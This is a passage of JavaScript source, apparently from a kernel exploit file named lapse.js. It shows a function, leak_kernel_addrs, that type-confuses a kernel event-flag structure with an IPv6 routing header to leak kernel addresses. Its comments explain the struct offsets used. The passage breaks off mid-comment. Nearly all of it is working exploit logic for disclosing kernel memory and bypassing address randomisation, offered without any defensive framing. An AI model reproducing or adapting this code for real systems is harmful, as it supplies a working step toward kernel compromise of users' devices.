Function leak_kernel_addrs

g2all/900/lapse.js:820–974

(sd_pair)

}

function leak_kernel_addrs(sd_pair) {
    close(sd_pair[1]);
    const sd = sd_pair[0];
    const buf = new Buffer(0x80 * leak_len);

    // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
    // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
    log('confuse evf with rthdr');
    let evf = null;
    for (let i = 0; i < num_alias; i++) {
        const evfs = [];
        for (let i = 0; i < num_handles; i++) {
            evfs.push(new_evf(0xf00 | i << 16));
        }

        get_rthdr(sd, buf, 0x80);
        // for simplicity, we'll assume i < 2**16
        const flags32 = buf.read32(0);
        evf = evfs[flags32 >>> 16];

        set_evf_flags(evf, flags32 | 1);
        get_rthdr(sd, buf, 0x80);

        if (buf.read32(0) === flags32 | 1) {
            evfs.splice(flags32 >> 16, 1);
        } else {
            evf = null;
        }

        for (const evf of evfs) {
            free_evf(evf);
        }

        if (evf !== null) {
            log(`confused rthdr and evf at attempt: ${i}`);
            break;
        }
    }

    if (evf === null) {
        die('failed to confuse evf and rthdr');
    }

    set_evf_flags(evf, 0xff << 8);
    get_rthdr(sd, buf, 0x80);

    // fields we use from evf (number before the field is the offset in hex):
    // struct evf:
    //     0 u64 flags
    //     28 struct cv cv
    //     38 TAILQ_HEAD(struct evf_waiter) waiters

    // evf.cv.cv_description = "evf cv"
    // string is located at the kernel's mapped ELF file
    const kernel_addr = buf.read64(0x28);
    log(`"evf cv" string addr: ${kernel_addr}`);
    // because of TAILQ_INIT(), we have:
    //